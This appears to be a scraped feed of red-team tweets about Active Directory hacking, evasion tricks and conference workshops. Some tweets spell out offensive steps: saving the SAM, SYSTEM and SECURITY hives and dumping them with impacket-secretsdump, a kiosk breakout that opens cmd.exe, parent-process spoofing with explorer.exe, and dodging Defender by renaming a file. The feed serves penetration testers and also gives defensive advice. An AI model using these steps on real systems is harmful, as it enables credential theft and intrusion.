Daniel Nemeth

Red Teaming

[Daniel Nemeth @dnem__]

Are you getting "AES key is incorrect" error when abusing unconstrained delegation on Linux?

Then this tool is for you, which extracts all keys from a keytab file, not just the first one:
https://t.co/EC6FW5quZX

[Daniel Nemeth @dnem__]

I spent some time exploring browser cache smuggling, where visiting a webpage can lead to malware delivery.

Surprisingly, it is possible to execute Chrome’s original cache file without renaming it, while also achieving persistence.

More details below:

https://t.co/rFrcKyuh31

[Daniel Nemeth @dnem__]

@LostBoyNZ 2! :P

[bogan @bogan]

ZX Security is on the lookout for two new roles at the moment, a Project Coordinator (https://t.co/wgJkiQHHZn) and Penetration Tester (https://t.co/2DpyweirdV) . Apply via Seek! :)

[Jai Minton @CyberRaiju]

Red Team Tip:

'explorer.exe /root' can be run from the command line - similar to 'cmd.exe /c', only it breaks the process tree and makes its parent a new instance of explorer

For blue team: keep an eye on multiple instances of explorer.

explorer.exe /root,"D:\CyberRaiju.exe"

[Daniel Nemeth @dnem__]

@LostBoyNZ Niiice! I miss those hills!

[Daniel Nemeth @dnem__]

Thanks everyone for attending our “fundamentals of AD hacking” workshop at @BSidesSF . We had a wonderful time with @claudiocontin ! #BSidesSF #zxsecurity

[Claudio Contin @claudiocontin]

Looking forward to deliver Fundamentals of AD hacking workshop at ⁦@BSidesSF this Saturday⁩ with ⁦@_Marvel0us_⁩ . Reminder: not all red team exercises go as planned...

[Csaba Fitzl @theevilbit]

Windows Kiosk breakout tip:
If you get a Printing panel, and the traditional methods don't work:
Amongst the printers, select "SendTo OneNote"
OneNote will launch -> Add new notebook
On the Notebook -> New page
Type: \\127.0.0.1\c$\windows\system32\cmd.exe
Click the link

[Claudio Contin @claudiocontin]

@_Marvel0us_ and I will be delivering a workshop on Fundamentals of Active Directory Hacking @BSidesSF 2020 https://t.co/OIk5jj5dZG #BSidesSF

[Oddvar Moe @Oddvarmoe]

Defenders should deploy this settings:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Dword: RunAsPPL
Value: 1

Protects dumping of Lsass with a simple registry value.
Encountered that on an engagement recently. 🤯

Mimikatz driver needed to bypass

Details
https://t.co/6RICpXQku4

[Grzegorz Tworek @0gtweet]

It is worse than I’ve thought initially! 🤦‍♂️
If you simply rename your malicious .exe file to msiexec.exe its files will be excluded from realtime scanning. REALLY #WindowsDefender?
Simple C# dropper and the eicar-based PoC instruction: https://t.co/MtJHoSQ7kh

[Danyal Drew @DanyalDrew]

NTLM reflection is back to haunt windows.

Read about Ghost Potato here (this time with a fixed link): https://t.co/sM9aGjwpxg

[Csaba Fitzl @theevilbit]

Would people be interested in a 2 day process injection training? I'm thinking about doing one after all the POCs I have done in this area. It would cover many of the techniques along with how to develop code for them. Please RT.

[Pentester Academy @SecurityTube]

Congratulations to Daniel (@_Marvel0us_) for clearing our Certified Red Team Expert exam! #RedTeamLab https://t.co/cMbvi0pdP9

[Paul Seekamp @nullenc0de]

How to steal SAM and cached credentials without fancy tools.

1) reg save hklm\sam c:\SAM
reg save hklm\system c:\SYSTEM
reg save hklm\security c:\SECURITY

2) Copy to Linux host.

3) impacket-secretsdump -sam /root/SAM -security /root/SECURITY -system /root/SYSTEM LOCAL

[Daniel Nemeth @dnem__]

@claudiocontin Yeah I saw it :)

[👩🏻‍💻 Jane Scott 🇦🇺 @JaneScott]

Oneliner Subdomain Enumeration! 🌏

Run this nifty little command to grab a neat list of subdomains under a given TLD:

curl 'https:​//crt​.sh/?q=%.example​.com&output=json' | jq '.name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u

🙏 to @NahamSec

#oneliner #enumeration

[iFenix @dlymension]

iOS 12.0 - 12.1 Jailbreak Lists :

Umang Raghuvanshi - iOS 12.0 - 12.1 Jailbreak..
SorryMyBad - iOS 12.0 - 12.1 Jailbreak..
KeenLab - iOS 12.0 - 12.1 Jailbreak..
Qwertyoruiopz - iOS 12.0 - 12.1 Jailbreak..
PanguTeam - iOS 12.0 - 12.1 Jailbreak..

[Phil Dobson @phildobsonnz]

Nice low key start to day 2 of @kiwicon lol #kiwicon #lasersandshit